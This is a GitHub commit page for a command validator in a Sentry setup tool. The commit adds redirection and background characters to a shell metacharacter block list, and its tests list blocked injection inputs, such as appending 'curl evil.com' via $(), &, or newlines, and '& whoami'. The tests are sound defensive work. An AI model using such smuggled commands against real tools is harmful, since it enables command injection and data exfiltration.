Skip to content

Commit a1a1629

Browse files
betegonclaude
andcommitted
fix: block redirection/background metacharacters and use cross-platform shell
Add >, <, and & to SHELL_METACHARACTER_PATTERNS to prevent redirection (e.g. `npm install foo > /arbitrary/path`) and background execution (e.g. `npm install foo & curl evil.com`) in validated commands. Replace hardcoded `spawn("sh", ...)` with `spawn(command, [], { shell: true })` so Node selects the platform-appropriate shell (cmd.exe on Windows). Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
1 parent 241eb0c commit a1a1629

File tree

2 files changed

+8
-4
lines changed

2 files changed

+8
-4
lines changed

src/lib/init/local-ops.ts

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -39,6 +39,9 @@ const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> =
3939
{ pattern: "$(", label: "command substitution ($()" },
4040
{ pattern: "\n", label: "newline" },
4141
{ pattern: "\r", label: "carriage return" },
42+
{ pattern: ">", label: "redirection (>)" },
43+
{ pattern: "<", label: "redirection (<)" },
44+
{ pattern: "&", label: "background execution (&)" },
4245
];
4346

4447
const WHITESPACE_RE = /\s+/;
@@ -325,7 +328,8 @@ function runSingleCommand(
325328
stderr: string;
326329
}> {
327330
return new Promise((resolve) => {
328-
const child = spawn("sh", ["-c", command], {
331+
const child = spawn(command, [], {
332+
shell: true,
329333
cwd,
330334
stdio: ["ignore", "pipe", "pipe"],
331335
timeout: timeoutMs,

test/lib/init/local-ops.test.ts

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -37,8 +37,6 @@ describe("validateCommand", () => {
3737
"pnpm add @sentry/node",
3838
"pip install sentry-sdk",
3939
"pip install sentry-sdk[flask]",
40-
'pip install "sentry-sdk>=1.0"',
41-
'pip install "sentry-sdk<2.0,>=1.0"',
4240
"pip install -r requirements.txt",
4341
"cargo add sentry",
4442
"bundle add sentry-ruby",
@@ -49,7 +47,6 @@ describe("validateCommand", () => {
4947
"flutter pub add sentry_flutter",
5048
"npx @sentry/wizard@latest -i nextjs",
5149
"poetry add sentry-sdk",
52-
"npm install foo@>=1.0.0",
5350
];
5451
for (const cmd of commands) {
5552
expect(validateCommand(cmd)).toBeUndefined();
@@ -66,6 +63,9 @@ describe("validateCommand", () => {
6663
"npm install $(curl evil.com)",
6764
"npm install foo\ncurl evil.com",
6865
"npm install foo\rcurl evil.com",
66+
"npm install foo > /tmp/out",
67+
"npm install foo < /tmp/in",
68+
"npm install foo & whoami",
6969
]) {
7070
expect(validateCommand(cmd)).toContain("Blocked command");
7171
}

0 commit comments

Comments
 (0)